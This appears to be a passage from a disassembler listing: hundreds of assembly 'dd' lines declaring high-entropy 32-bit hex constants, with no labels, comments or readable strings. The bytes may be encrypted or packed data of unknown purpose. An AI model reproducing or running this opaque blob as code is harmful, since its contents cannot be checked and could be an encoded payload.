		dd 895127ADh, 0F3A5577Eh, 8A48B8h, 22DD6855h, 5D00237Bh
		dd 0E581EDD1h, 48A76DB4h, 24098359h, 0B78EA501h, 632DC4C8h
		dd 40C6DAE8h, 0F9023078h, 5E0568BCh, 0BE706246h, 56083950h
		dd 2DF24B78h, 0A4C8EAD3h, 5E8B9741h, 0F1535074h, 0ED348963h
		dd 26A1012Dh, 0D0011092h, 53074705h, 8E2422Ch, 256D9BD7h
		dd 0D26BBBBCh, 1693D3DFh, 0DC12CAB1h, 0E9180C4Ah, 0BBDEEE1Dh
		dd 7A1B7758h, 0DC96257Fh, 39820EA9h, 0D56170E5h, 69CE6F8Bh
		dd 0FFC3800Eh, 8831F362h, 96EBE5D5h, 9370AA52h,	0C154EBE9h
		dd 2836C13Fh, 0C8CDE8CCh, 3289B5B6h, 602B546Bh,	2CB56DFFh
		dd 0E979C6F0h, 2689375Fh, 0E4FAB87Bh, 56B25AF8h, 9A6C3DF6h
		dd 967895FAh, 54685F09h, 0C1C65Bh, 50A00AECh, 7C5AE181h
		dd 0DE4BEB2Dh, 0B041146Fh, 29008A20h, 6FBE56F0h, 9D7E1253h
		dd 0F1F77642h, 92B46550h, 29C24BC7h, 0B6D06582h, 1B85D05h
		dd 0AC90127h, 0EFA2FF5Ah, 899783D3h, 41577822h,	886BDA8Ah
		dd 5E702DA3h, 0BF0BD30h, 0B55BDD29h, 0BAE58185h, 39AA1513h
		dd 8D521232h, 0E3820456h, 772FA868h, 8253918h, 0E910EC09h
		dd 4EE063C3h, 3C6DFFAFh, 8150069h, 0F8971AC4h, 15E0B13Ch
		dd 25848035h, 0AC08B968h, 0DA88C417h, 384F2ADh,	7471FB79h
		dd 0BE044508h, 2738EC10h, 0AABF554h, 7C3829D7h,	0EED9A097h
		dd 827B2549h, 0EB967584h, 461743A2h, 4946CC1Fh,	59FDB4A2h
		dd 8C23C242h, 5ABD2C01h, 3E04F0C0h, 0F998531Fh,	0F75B38AFh
		dd 0E2D1D21Eh, 0D7901489h, 0AED8398h, 0EA33E51Fh, 0B20C25BDh
		dd 5A4A7A2Ah, 145D8EEDh, 89A7C334h, 0DD322B8Bh,	4FAEE2ECh
		dd 0DE4FA025h, 9F605068h, 29F2982h, 0D9632D9Fh,	0E95DE1AFh
		dd 4ABE7C7Eh, 856B1EF1h, 0F52A8151h, 10CFF409h,	2524895Ch
		dd 174FD221h, 1FC34CF1h, 1ADDC042h, 0F46862B0h,	7CFA4DF7h
		dd 0ACB05FC1h, 0F9204851h, 0FD6BF5A4h, 2B7D350Ah, 74FAA6C5h
		dd 64B2BED4h, 46F53CE2h, 2DAE2D19h, 8396D3C9h, 775FEA3Eh
		dd 670C0446h, 7C2911h, 6914CA01h, 0E5104EE9h, 0DF901DAh
		dd 3F32B7Dh, 5B74EFD6h,	0F93B5E89h, 0B0DB90A1h,	9F732C68h
		dd 0A164A398h, 0FD7CB881h, 860FF889h, 5CB18832h, 7BA4C9F3h
		dd 9F51C838h, 120C42AAh, 0B3CE8430h, 902ED803h,	10370A05h
		dd 0E928CB29h, 0F90C93FCh, 0EED91145h, 24875F54h, 68CB2C06h
		dd 0F40D9C25h, 0C6557253h, 0BB6818BEh, 9A89AB4Dh, 0E5D025CEh
		dd 74A2181Bh, 0AC5AD184h, 0F90B57Bh, 185022B3h,	44F6D888h
		dd 8E82511Eh, 0A9C2E5D3h, 6E258500h, 0F4618D59h, 0B7909252h
		dd 0B160F742h, 3D2C7D4Fh, 0D504365Fh, 80FF563Ch, 5853E9FFh
		dd 0C9369B97h, 280047D1h, 575A2CD8h, 676408D8h,	1E481ED6h
		dd 0CB586CE9h, 24FB5C4Fh, 29730421h, 0D8BF81EFh, 0F51A64AEh
		dd 36155A09h, 3BE85F22h, 8F9262E9h, 3C37BF02h, 0D7894A5Ah
		dd 0B09E502h, 0CAF64066h, 1A083BB8h, 0A03E1179h, 13E91607h
		dd 27478987h, 0A8CA151Ah, 2BF901E2h, 895A6301h,	50C5A841h
		dd 1BD03539h, 78BE4813h, 0C29F762Ch, 0C1B6576Fh, 2C60BA90h
		dd 64F1BD0Ah, 3D190F4h,	6F12B8CDh, 0C5B84D5Ah, 0FC26194Fh
		dd 43029F1Dh, 577CFB90h, 0E941295Ch, 6C81BE9Fh,	0B353FCB0h
		dd 667270DEh, 235CEBE6h, 0E9F4097Bh, 0B999A2EDh, 50A6C624h
		dd 9661D0D2h, 4A44097h,	0DC9D5C54h, 0D00820A8h,	0F040171Ch
		dd 2F75CBEEh, 0AEA77384h, 0D50694F2h, 346F0769h, 0AB0DD16Eh
		dd 7AD3F0D3h, 0DFB4B5F7h, 2CC20A9Fh, 7F91A865h,	57D4B850h
		dd 357A0E27h, 16601713h, 508E8C1h, 93EDC417h, 0A36B5305h
		dd 0B86745AFh, 3E4ACA8Fh, 28721759h, 8D84D9E9h,	9C65BB17h
		dd 0D7F30852h, 0BBFB0512h, 206F4CEh, 319403E9h,	0FF2C3EC9h
		dd 1AD47E30h, 0BFD9AD81h, 95BC424h, 0FE2C3A04h,	3BDD038Eh
		dd 9DC79878h, 0E95E9404h, 9321F470h, 7B289EA7h,	0D10E508Bh
		dd 0BF0169D5h, 239C3670h, 1C34583h, 0FC0E4844h,	3BB87B0Bh
		dd 2705C801h, 3017A028h, 55093EE7h, 0DC2D3D37h,	0E5CEBA37h
		dd 8DB06B41h, 0A88FE7B3h, 8083EFC0h, 0E7B34EF7h, 0B8C413B5h
		dd 5E5B2774h, 29E9F015h, 3D9037B2h, 6817F973h, 47F74A39h
		dd 7F87D310h, 0AD268F2Bh, 90BBD909h, 4841E89Eh,	981767E4h
		dd 51E83261h, 85542EE2h, 56C9B70Ch, 5A457BB4h, 4B530E8Fh
		dd 445BD33Dh, 0B2E8212Ch, 93794D1h, 294DE90Eh, 0D002FF17h
		dd 5F0524B4h, 0C0091621h, 81502F30h, 42E8DD5Ah,	0D760C8F1h
		dd 885C8B2Ch, 0DC52328Bh, 39D9C43Bh, 404CC231h,	0D1C59F12h
		dd 18780333h, 7C5104E2h, 0EEA2BE47h, 81F95F84h,	0E22F0413h
		dd 0FAF15BBFh, 9D2DE083h, 0E2E45808h, 0B14E2277h, 367424Bh
		dd 879727F1h, 803A4E2Dh, 16CC6819h, 0D3A0C7A6h,	0A80070D9h
		dd 0DD0D4837h, 0A1228762h, 917E059Dh, 3B1D8218h, 0A888E0CDh
		dd 0BA008D26h, 7F9A6D53h, 5AD52709h, 0D713E0FAh, 0FD12E4D9h
		dd 7EE7E19h, 8987A13Fh,	8F330130h, 0EA58A137h, 59C989C8h
		dd 9E25A840h, 43380154h, 7C76AF35h, 1B88A404h, 16F48007h
		dd 0E9C63160h, 0F8009DA5h, 3613C52Dh, 7D55792Dh, 0F381FDA0h
		dd 0B72F50CFh, 17456024h, 9C1C603Ch, 13BD366Ch,	1CDD0134h
		dd 57530800h, 2C4DF568h, 85C489Ch, 0C314332h, 6800355Bh
		dd 0EC9744ACh, 0E95608F7h
		dd 0AD1D7120h, 7645BEC0h, 60F76B5Bh, 43A2F6D6h,	7ABD78F4h
		dd 22EBBD27h, 2B50F0C1h, 6AF6D6E9h, 8CBB660Eh, 1FA59233h
		dd 904B0508h, 14D361C9h, 71829AC3h, 0B5922A0Bh,	0D869D5C2h
		dd 36FB405Dh, 0D3E940Eh, 7B7CC821h, 0F0F06495h,	0B8C94AF0h
		dd 15A0C60Fh, 90CF5821h, 0F2117204h, 4BFE1243h,	487659C8h
		dd 7010556Bh, 5080F752h, 19290068h, 5583499h, 6627E6DBh
		dd 0E93B10CBh, 96B55BC3h, 0CD70BE1Fh, 87D2BE1h,	821ABC2Ah
		dd 51027A68h, 6782885Bh, 10D35A14h, 10507CA2h, 0C521235h
		dd 0E0C317C3h, 57BBEC1h, 8923840Fh, 0D2318BF5h,	0E5EF4AE5h
		dd 0B8000CEh, 7F4AFB3Dh, 0E38428BDh, 0F8B5AEA0h, 0CCA8F5CAh
		dd 0D8522FD2h, 0D537F690h, 7AF593B8h, 0B02FE4BEh, 10A1551Dh
		dd 5DB4F181h, 0A87E1CD2h, 0FCAFB454h, 181AC547h, 0C4E27922h
		dd 3BAB887Dh, 20C69AD3h, 2FF45348h, 38FBA35Ah, 6DF7020Eh
		dd 6CDB052Bh, 92C26290h, 884AF913h, 5116AA69h, 2F8D2DAEh
		dd 64C5B5E9h, 0C6BC8188h, 97A9784h, 37D6227h, 7A217082h
		dd 1BFC20BDh, 2C1830Bh,	0F549ED0Fh, 0E704693Ah,	6CE7F1C8h
		dd 9F68E0E4h, 1045B756h, 8D278B22h, 5CD172B7h, 2B1EAF03h
		dd 97239F0Fh, 0C06384E1h, 421ADB52h, 10F5334Eh,	24E0C93Eh
		dd 0E69A4E6Bh, 9C3509Dh, 6DCF323Ch, 0DB2FEA5Eh,	0BAD00999h
		dd 6033D157h, 3E2F59BBh, 55FDD4CBh, 6813D694h, 0FCC4898h
		dd 0EAB84FF5h, 0D95CA621h, 0C820AB2Ah, 5FD36F33h, 0C0A2ED2Ch
		dd 4DD42207h, 23860005h, 12256F92h, 6E3D7728h, 9A64E248h
		dd 520A75D3h, 47190093h, 0DBF77369h, 282CECF1h,	2D89BA4Ch
		dd 0EFA63030h, 1C831467h, 5227392Dh, 7DA42977h,	0B120BD04h
		dd 0B4EC6B35h, 0C5BEE9E0h, 428D5497h, 0DE69337h, 1280B63Dh
		dd 76EDA83Ch, 0BCC8832Fh, 279C9DB3h, 0FC33F8E9h, 0A50C54BAh
		dd 287B5594h, 2F0A3FF0h, 0CDFC588Fh, 83825227h,	0C580B70Bh
		dd 4A5E8B4Ch, 0CFC8FE5Dh, 0C2AEE0E9h, 755868E7h, 1DF5D09Ah
		dd 185AA6ADh, 3DE29D10h, 0EBACE591h, 0F73F4F00h, 76B6B927h
		dd 807A5FA8h, 22E18151h, 68A54417h, 49E919F0h, 0ED4E02A1h
		dd 0D1A0727h, 22D24944h, 10A27F0Ah, 15C15BDDh, 9CC670D5h
		dd 0C6B332C0h, 0F49ACB80h, 0AF44B4F5h, 0C016A2F7h, 840309F1h
		dd 5A5CF295h, 0F44A7E44h, 356103A1h, 6DB9397Ah,	5EE90BC3h
		dd 0CC6C77FCh, 2D527197h, 494A2F57h, 403AF48Ch,	3C7C6CFEh
		dd 1909D6B0h, 0C211D715h, 726C604Ah, 0FE1D7332h, 25BC0CEAh
		dd 0FE183A04h, 8096217h, 80641F5h, 0E5148B1Ch, 78CC2018h
		dd 0BBA0C082h, 57F9630Eh, 0ECE38100h, 0E9676541h, 0A28D5B3Dh
		dd 375D8DD0h, 40DC4060h, 597D5AD7h, 502CEB26h, 8C83DC5Ah
		dd 0EB1F8BDEh, 1F4CB809h, 8C990032h, 0C12D3C1Bh, 2224119Eh
		dd 432A707Dh, 1EF37F04h, 0E0BADEF7h, 54008A12h,	0F231CA45h
		dd 9CA77CE9h, 9027964h,	0A2061BF9h, 0E7126E4Ah,	0CBD3EFB2h
		dd 1DC85F28h, 9B028219h, 6C5501F2h, 4ABD9011h, 2EE7CD1Ah
		dd 8A3A23D9h, 4CE9095Bh, 1ECAE631h, 0EC2A7364h,	3CC70287h
		dd 7B400679h, 6E250527h, 8397F677h, 3FD911B6h, 604C2805h
		dd 9B8C1FC6h, 0C9C255E9h, 18458800h, 899827D5h,	5D0903C4h
		dd 0B02E5368h, 95D379AFh, 0D7458392h, 5D5F3280h, 4A86E92Eh
		dd 5E8E33C3h, 2A143D1h,	0F91EBB5Bh, 745546BFh, 19D35BEh
		dd 0C147E0F8h, 24E22178h, 0DD01E3B9h, 0E9354258h, 0ED63FE0Fh
		dd 805EB403h, 0CCDBDDECh, 52A8F4ABh, 500BC1B2h,	7E2044B0h
		dd 0BD9609F6h, 0FC550C8h, 2705321Fh, 0A5CEAF09h, 0B4AF01B5h
		dd 4C9D34A9h, 0E157FFE2h, 0BA6652E7h, 947E9718h, 6056E989h
		dd 0B3B8AFh, 0D587068h,	6DCE71C7h, 394F2D01h, 0C1297664h
		dd 84A1E33Fh, 5A8EDD39h, 720A207Dh, 437576A2h, 7BF19080h
		dd 666258E2h, 0C423741Ch, 0C0C6215Fh, 8C48F6D5h, 31D6F217h
		dd 0E8970AFBh, 3FA30EEFh, 0FF8AFE17h, 8C31B04Eh, 3C80CB40h
		dd 6C275BF1h, 495C940Bh, 9F1CFD25h, 0D44973BEh,	752C3CACh
		dd 5EBB8B55h, 0D692FAD8h, 97CF893Fh, 0C34BEC65h, 0CA4EDEB3h
		dd 0E1A365CDh, 65DA3FDEh, 1420BB5Fh, 0BB7B3868h, 801809FDh
		dd 4741E65Eh, 23211391h, 5BECB304h, 7C5D5416h, 3629E949h
		dd 142443CAh, 316F3F0Ch, 10B509F2h, 0F40076E4h,	724A20ADh
		dd 52C4D6B5h, 956BDA5Dh, 0CAAC20FDh, 988F32C0h,	3E860BC3h
		dd 82D711D1h, 0F9759B2Fh, 2CE14236h, 0D9EB5B05h, 0FD1231F9h
		dd 84D21756h, 0B98942h,	0E254A275h, 0D82953Ah, 25F41040h
		dd 217AAC00h, 12FB0120h, 588006E9h, 0A0844C70h,	0E17EB88h
		dd 292CE70Eh, 87910D7h,	931284Eh, 0C065FCA0h, 5F3EA5D8h
		dd 0A45C257Dh, 0A07FC2F0h, 0E4D12DCEh, 0F7EF82FEh, 81A24F1Fh
		dd 0FAE9C185h, 0BE5AA3A4h, 0EE68044Ah, 2A54CD4Dh, 3844AA97h
		dd 50525900h, 0C395168h, 1CFE4854h, 0DE2FA90Dh,	0F968E14Eh
		dd 69361Fh, 21C54439h, 4AC6E943h, 1358E33Ch, 68AF5FA2h
		dd 58034D8h, 512BF9Ch, 0BD458E8Ch, 0F022D500h, 18E58174h
		dd 24B87D60h, 0ADFBEDE9h, 0B22042F0h, 0C86295C4h, 71B461h
		dd 0E07CC180h, 0AAEFEBF9h, 2DE0DF66h, 6EBCBF83h, 0C0A200ADh
		dd 398002E3h, 3BF679C3h, 461FE21h, 6E370CE9h, 0D6BA4E4Fh
		dd 33F97EC9h, 0B05CB24h, 753612A0h, 7DBC7A91h, 992776B2h
		dd 57D5EA86h, 0C4A3C6Bh, 0E90E48EDh, 0EB12983Eh, 52C48EF2h
		dd 2C9E88C9h, 19420109h, 0DC080289h, 1FD547h, 615308B2h
		dd 96D1CE80h, 70705C0h,	0F75FE411h, 4F8C70D8h, 0ED66AEBh
		dd 0C8022303h, 5492E063h, 407F3164h, 0FC199429h, 0C6023548h
		dd 0D1BF321h, 0BBEC0BEh, 9F872DE9h, 273B3EFDh, 0B55C0C68h
		dd 32EDAF8Ch, 78575E5Ch, 8560C0A5h, 6F44F15Dh, 7D107BC5h
		dd 42CEAA9Fh, 0D91A4BBCh, 0CA7F9D69h, 8E6C10C5h, 0E9B02F59h
		dd 0F495A22Fh, 8226BC51h, 4A75A549h, 3FEB5D76h,	0C978A2F2h
		dd 2DF2519Dh, 5DBB295Fh, 14F29AA2h, 2710790Bh, 6F5BBCC1h
		dd 0A0E4C6F9h, 0A12BEDEh, 291E1A2Dh, 1E20D856h,	0BD0B33FBh
		dd 4F6618F1h, 8E1BB67Eh, 0FA174C9Bh, 0B87B036Dh, 0ECA250C6h
		dd 0B53B8841h, 54E87FB4h, 1200EF3Ch, 0BE5678ADh, 0F11B329Ah
		dd 0FF240949h, 0A26AEE31h, 58F4ED60h, 0F681279Dh, 0EC15ED0Ch
		dd 0B4AA0EC5h, 9093A340h, 57256BB2h, 0A3701B79h, 0C185B5D5h
		dd 563B16EBh, 9A3BCBAh,	0C5622BE9h, 95481773h, 0BA7312E2h
		dd 5AE9AA2Ch, 4E24A937h, 0D17C4544h, 0D313E2EAh, 0E9B0A3ACh
		dd 54927C85h, 9AEA74B7h, 8955157Bh, 0DBAB5FFBh,	578AA9F7h
		dd 0A7E92990h, 26D46B7h, 52E2815Fh, 72602A16h, 1B1F20C2h
		dd 0CA01388Ch, 48C40845h, 24372482h, 2D610346h,	0A4CA2B05h
		dd 90941913h, 809B2D3h,	68E9714Bh, 8A6CC680h, 0B9045158h
		dd 0F2F510D6h, 254FB280h, 0CF68F9E9h, 308EF28h,	4CC12D59h
		dd 30C172D0h, 86547A9Fh, 6BCE4F1Eh, 28A4CB10h, 3F62E951h
		dd 9768C17h, 0FE254A75h, 0E4DB50F9h, 0EEDA4382h, 2C5C1F06h
		dd 6D464B71h, 0DB549729h, 28159208h, 451F0B40h,	0C77C3437h
		dd 23CFCE9Dh, 0BE934Dh,	0F3F7FD80h, 0F05D291Eh,	27004CE9h
		dd 26D8633Eh, 1D0050C3h, 232CC3DBh, 0B5EDFB8h, 1123CFCh
		dd 16B6AFC6h, 1B890E27h, 424DF060h, 5C12BF2Fh, 0EA804067h
		dd 729D5B99h, 23F2275Dh, 25272055h, 27E91A04h, 0BA98F0F6h
		dd 0E7000388h, 3FF38163h
		dd 0C3CCE61h, 0D5F7EB87h, 1CDCDB09h, 1C837286h,	2B860B0Ch
		dd 0E87469h, 7EE11BCFh,	51A9E0A8h, 63AB597Eh, 0C8EFD23Ch
		dd 7B410C15h, 2A3CB56Eh, 613ECFE5h, 318BB9Eh, 8A2AB158h
		dd 8A92E93Ah, 0A788E089h, 0BE5F125Eh, 4194D898h, 0E3B86ED0h
		dd 86AEFB9Eh, 3B77AF90h, 7AEEF9B1h, 25B4BA48h, 0E577D028h
		dd 4ADD8C03h, 0E897470Ah, 334096F8h, 0E91022B1h, 69EC53CAh
		dd 0BE205AB5h, 0A0D00B7Eh, 9B2E477h, 0DE880EB3h, 0E04B335Dh
		dd 9FE2B252h, 0B01211DEh, 0F45E33B8h, 0C679F713h, 3C0DF948h
		dd 0B45093E9h, 904F04BAh, 0C396D7E6h, 0C7CF368h, 8DF39297h
		dd 5DE69EDBh, 55EB5559h, 0E925B6ECh, 521F0461h,	0F54A8BA6h
		dd 74194184h, 1D426BAEh, 0F1EF880Ah, 7C094E18h,	805BF060h
		dd 282F5CC5h, 4DB941Dh,	0A171E0Eh, 0D8F3E78Ah, 385EE905h
		dd 0CB5E59A3h, 0CCE91658h, 0ED80DF43h, 13C59B01h, 0BAB0F50Ch
		dd 8C01588Bh, 0F70EE243h, 0FF3EAED6h, 0E1275925h, 54C9D4E9h
		dd 0DB42C3ABh, 0A1A80C4Fh, 5484000h, 71809613h,	5858C3F4h
		dd 7989E18Fh, 4E115664h, 36CA3167h, 6209050Eh, 3181A213h
		dd 6C9D41FAh, 0F957422Bh, 7D0B2A19h, 12602142h,	0C525C4E7h
		dd 0F3C378F0h, 0B1DE57DAh, 6063E978h, 0A1C53B7Dh, 0F07B2B45h
		dd 7D886B25h, 0F5E704A2h, 40514A57h, 135BF8DAh,	101FB151h
		dd 0E10EABABh, 5CD2FEEAh, 0A1429643h, 8EBFF8Fh,	0D489E5D7h
		dd 0D1E9C02Fh, 134E761Dh, 0E6004FADh, 6888F62Bh, 7F05D608h
		dd 4CD8E9CFh, 688504A2h, 0AA88D5F6h, 5B806C24h,	5D2A8F08h
		dd 4F7ED5B5h, 0EA308576h, 0F543CD6Dh, 889640E2h, 0DA9A6F2Ch
		dd 0F4783BFDh, 0B7530CE6h, 52F028B3h, 5162B612h, 0E9C6C801h
		dd 206EB8D2h, 46EDBF7Fh, 6AFCFA6Fh, 0C42DE1Dh, 58EC7466h
		dd 0F99DCF29h, 0B3E90B6Fh, 54BDF720h, 84F8641h,	0A9F91613h
		dd 0ED6B9E16h, 0F5E9A2E8h, 5F30445Ah, 1B1E4B78h, 0B0675BA5h
		dd 2CEE6E1Ch, 50554D00h, 9548585Dh, 0BDFC30E9h,	23EBB38h
		dd 0E0473A24h, 0CB97313h, 2B3EC197h, 0A5FB056Fh, 0B38C97E9h
		dd 13D83F0Fh, 2A237F9h,	0A0DC7BFFh, 6CC2258Fh, 7371C620h
		dd 93973B8Ah, 3580F730h, 82F9019Ah, 0E24600DFh,	0C056163Fh
		dd 0B0F7A0Ch, 0DEBD5B61h, 396672E4h, 0D9B777EAh, 0DEC44319h
		dd 1C82165Fh, 0A810F605h, 0B48448CEh, 78182F82h, 5A0947D6h
		dd 15646048h, 7BEA2FA9h, 148B0D5Ch, 0C405DC06h,	49E5FC19h
		dd 685304D1h, 0B5F23601h, 50CA3F7Ch, 0E7ACD4BAh, 4B8610E0h
		dd 21A96913h, 830AE5Eh,	0D2C208E9h, 0AF741227h,	0BA08B285h
		dd 4C29097Bh, 7EFED6EEh, 5F1ECB9Ah, 0E512D529h,	0DAF6FC41h
		dd 2F60CAFEh, 0E2286E12h, 0EB66E864h, 9F7DA104h, 4E564609h
		dd 0E0F705C2h, 99CE0187h, 7BE962F0h, 6A40A0ABh,	0C8256852h
		dd 0A4A6193Fh, 464FF0h,	6B5B5CBAh, 9E4AE93Ah, 0AA7630B5h
		dd 0D3499C45h, 0E0AFA213h, 79F365Dh, 3813E1C0h,	949705Bh
		dd 0D7F4BB53h, 7EFE4789h, 0C510D727h, 55B1E48Eh, 0DDF6AC06h
		dd 54DA9D04h, 0EB5B9C92h, 7FB225ACh, 6D25E921h,	84B1B22Ah
		dd 500B953h, 64486917h,	0F8BD1E90h, 85B76E18h, 93A0ADC9h
		dd 472BCA81h, 5C64232Dh, 0F2896F6Fh, 8167CA04h,	82FA6849h
		dd 216C717h, 6CD05DE6h,	4AB7F438h, 5C74CCBEh, 0B164D697h
		dd 0DD19CF54h, 106E686Eh, 5F280FE8h, 47CE0E98h,	0F1C068B6h
		dd 57992CEDh, 24C20CC3h, 7F878D55h, 0E07AF461h,	8549C48Ch
		dd 764028E9h, 37952568h, 0E9621771h, 249F0D5h, 99345368h
		dd 0CC865A6Ah, 312F0F57h, 341BC4DAh, 0FF2EACFAh, 0F8608AF1h
		dd 652F90B2h, 0F4A84C75h, 2BD72C6Dh, 0C2B871ABh, 0F4882A92h
		dd 9307BCA0h, 51B60601h, 6B0F5440h, 6F54751Eh, 890D80C8h
		dd 25184105h, 0D9E299E9h, 0FE277AD3h, 1E3670ADh, 8184AFD7h
		dd 62992CEEh, 0D921A741h, 8230587Fh, 3A0B2308h,	2D91E976h
		dd 48D6F544h, 0BC681FFh, 73D80325h, 0C0B9EC5Fh,	603B844Ch
		dd 0EB520105h, 0DCC98B3Ch, 185C2F4Bh, 0DC011459h, 0A8F82EC8h
		dd 481068B0h, 0A13238B7h, 0C831802Ah, 2DED6815h, 9ABE4938h
		dd 0CF56570Dh, 0AC165992h, 0DC09BE16h, 20189CE8h, 0BD00721Ch
		dd 3AA4455Fh, 4C08E22Dh, 0E8149B97h, 5D090705h,	9213BD55h
		dd 0D6C0D8E3h, 0E8282954h, 5D4F072Dh, 88BAD030h, 81D8E549h
		dd 300271E2h, 0F30C3DD7h, 505BCF0Bh, 120650B4h,	0EB9A273Ah
		dd 0E0474B93h, 2C7992E7h, 4D4A6Ah, 238FB67Bh, 0AC1DBE56h
		dd 146C3C2Ch, 987F0D38h, 17C45820h, 91687CF0h, 345C2765h
		dd 0FF01FD20h, 0E9293042h, 5303CD44h, 4862D40Eh, 0F489AB7Ah
		dd 0EE6801F3h, 38703709h, 59BB05B2h, 7E833B52h,	748A91F1h
		dd 57B9C647h, 0A648A422h, 0CF93F175h, 3E90930h,	16A99B6Bh
		dd 32184C66h, 6DFE564Bh, 8AFA536Fh, 73502D22h, 90980B61h
		dd 5679749Ch, 0C1BBCE4Ah, 4A3F58Dh, 5037B407h, 0AAA4775h
		dd 2A6514Ch, 76AC04D8h,	0E94EA540h, 479E7537h, 204CE4E9h
		dd 519FC66Eh, 30754B83h, 0D273DACEh, 0D364AF28h, 7719B3C2h
		dd 0BE096918h, 0F9FD9ABDh, 22ACBF81h, 19D34449h, 8110AD5Ah
		dd 311337C9h, 92017047h, 8090C40Dh, 5D33B02Fh, 0BF51A440h
		dd 0E978D976h, 0F6E4DABh, 6F74E702h, 8AD04DFBh,	6C427880h
		dd 6D029CB3h, 5778125Ah, 160B7F5Ah, 460C06h, 9E40320Dh
		dd 248901Bh, 6E4366C0h,	0B1D4FBE9h, 345F40C0h, 2C49848h
		dd 33BF7A45h, 9DDA2B68h, 225C912Dh, 91278DCh, 26B2E840h
		dd 57054295h, 0EC809B00h, 0B73853C9h, 0D1FC256Fh, 0C070AF95h
		dd 0FB6A7895h, 52705FDEh, 8331F049h, 165F6768h,	44B47079h
		dd 5207D828h, 9BEE1A0h,	70656B8Ch, 0E7D6E580h, 0D29D2DB6h
		dd 27F0F285h, 3D206FE9h, 0CB0B06B9h, 0C128F290h, 572DD14Dh
		dd 6D80D749h, 0A76A4EF1h, 50001259h, 3E1384BFh,	94EB2388h
		dd 83D7AB4Bh, 0AF80785h, 212221E5h, 3B97D08h, 63002EEh
		dd 5F4DE22Ch, 90BC01F8h, 0CE7D6C62h, 0FA9DB831h, 46F94885h
		dd 67555DC9h, 1BE90A6Ch, 29C1B0CBh, 2E092DF8h, 3263AD3Dh
		dd 0C19560CEh, 7E58813Fh, 4069E5D8h, 1A5E2CB4h,	0B3C017E2h
		dd 0B1515067h, 0ED536C4Bh, 0FC6F1AA5h, 72258460h, 0D42CBA12h
		dd 765B5BC4h, 9ACBF1ACh, 0BF9F5046h, 6D08E268h,	0F14AC12Fh
		dd 50C811DCh, 0E054068h, 0EAC1514Ch, 31F2E300h,	982C215Ah
		dd 724F4CCh, 0E908776Eh, 29F6C9B7h, 0F620DB9Eh,	0A7163D1h
		dd 6CE7CBFEh, 0D84C289Bh, 290F67A8h, 0F7375FF7h, 1FA054A5h
		dd 361309BAh, 0E79A6E7Ah, 93511861h, 9CFB8B54h,	0C54141E5h
		dd 4321AF20h, 0AEF24025h, 50D86BCBh, 913E545Dh,	6D6924C6h
		dd 0E63F3B95h, 1334779Eh, 1B660C56h, 587CEF25h,	931AF43Dh
		dd 854AC0D9h, 0A2AFFAFBh, 94291877h, 0DC23A0BBh, 9E225046h
		dd 50EE3CEDh, 0EF31B381h, 6AD0E5E9h, 0F0D7C4EDh, 809232DDh
		dd 27556812h, 7FBCB35h,	4E96D72h, 10E1BD7Eh, 0BA042AFDh
		dd 0BF683CB3h, 67BEF00Bh, 5382123h, 0FE5FFD29h,	0AC4B09F3h
		dd 4B480346h, 0C532D59h, 0AC0BE90Bh, 6B736795h,	1616348h
		dd 2C543EE2h, 0B8644A1Fh, 0F0894AE9h, 319DADA0h, 0A66EBAF3h
		dd 0F88B2CB2h, 3E50E1ADh, 63EE5631h, 41627B9h, 3BBD740Fh
		dd 0AD1C3231h, 0D0F700AEh, 0C0EC0935h, 2DF8CD8h, 0F1E9830Bh
		dd 10D7C9F8h, 839D7568h, 0B2F1A5F7h, 0E6B11250h, 7D4B8CFAh
		dd 0AF26014Ah, 0DDE930C9h
		dd 3FC2BE29h, 2D4E0E02h, 40653186h, 0A105F061h,	0A1305E07h
		dd 0F11A0420h, 0A8F7E979h, 0BCF94FA6h, 7E550B9Fh, 81EC6C7Dh
		dd 753F5BA1h, 89D8E977h, 4C2CDD9h, 0E5E07EE9h, 0B51FDC36h
		dd 44C0E992h, 1B7F38D4h, 91EB0381h, 4B15A421h, 5AC0E03h
		dd 1989F5D3h, 9BE3DD36h, 25B039CAh, 0F9F50BBCh,	0BF686441h
		dd 5FF5A650h, 9C631E4h,	22476C65h, 9181EEDEh, 5808B379h
		dd 1FE20260h, 8327C562h, 137C2FE5h, 66C0EF95h, 754BC320h
		dd 5310C2F7h, 2FDC7363h, 255E440h, 0E8292DD3h, 820214F7h
		dd 935B02A8h, 47760BA2h, 9A2D0300h, 0FCC72845h,	0B8CA5A7Fh
		dd 9E68E021h, 12D1DD0Fh, 0AFA75D7Ch, 7DD8DAABh,	5876C920h
		dd 0F24CC5Bh, 131D10DEh, 0E20996B1h, 0BE83FD08h, 83FD80C4h
		dd 2EAFC10Ch, 80F892BFh, 0A7850F1Fh, 0E1D222B5h, 40F8226Ch
		dd 25A6DA5Eh, 0FACD01C3h, 5E3FF805h, 7BD9F25Ah,	0D3CE8132h
		dd 6CCA7DEBh, 8737D5F8h, 3B62ADA8h, 0B0595FF6h,	97D95D14h
		dd 0BB03D4FBh, 91D6A1E2h, 94D199h, 2E5BDF29h, 2D87F701h
		dd 0C9A1F056h, 78CE556Bh, 634EE916h, 336B29D0h,	0B8064AF9h
		dd 0CB0979F4h, 7F0F5C65h, 4EA1AA81h, 8043E5F8h,	1E7AAB0Eh
		dd 0E995E99Bh, 95FEDA53h, 71EF4AC1h, 7CE08A6Eh,	0CA70802Fh
		dd 5136E171h, 325DD6D6h, 3E61CE12h, 0DAF92F9Bh,	527554C9h
		dd 0B8B98F5h, 76E57CBCh, 75638100h, 4A5F275Ah, 2B46E381h
		dd 63D7D152h, 847CD8A5h, 0C1E0B70Ah, 0DF82B6AFh, 41206750h
		dd 4868176Eh, 7F488C05h, 2D89FB4Ah, 5CE0DA21h, 0BB633E3Ch
		dd 927D0B69h, 92F6003Ah, 0C745F17Bh, 0D070AE0Ch, 0D1D3F733h
		dd 8E14E360h, 2DC6F3BEh, 0C8C2A1E9h, 5E40C65Dh,	92BDA951h
		dd 59A881FBh, 49D82F53h, 0A4734B1Eh, 4106E3F0h,	0E5D13D42h
		dd 7970A104h, 38CFA150h, 45C4251Bh, 0D4028F6h, 807EB660h
		dd 3978CE9h, 93FC8801h,	0CF5C9E2h, 487FA73Fh, 0B5872027h
		dd 3F892511h, 0FF7136E2h, 16D76800h, 184A9C27h,	9AFF56DCh
		dd 5D569F8Dh, 15BE71A8h, 31FBCEBBh, 3E18309Ch, 5C25B8CEh
		dd 250D477Dh, 2E6E5D5h,	68575D59h, 805F0C89h, 0C95E6182h
		dd 0FD012644h, 19082063h, 0C7B486E9h, 4E8D7B6Ah, 802235F4h
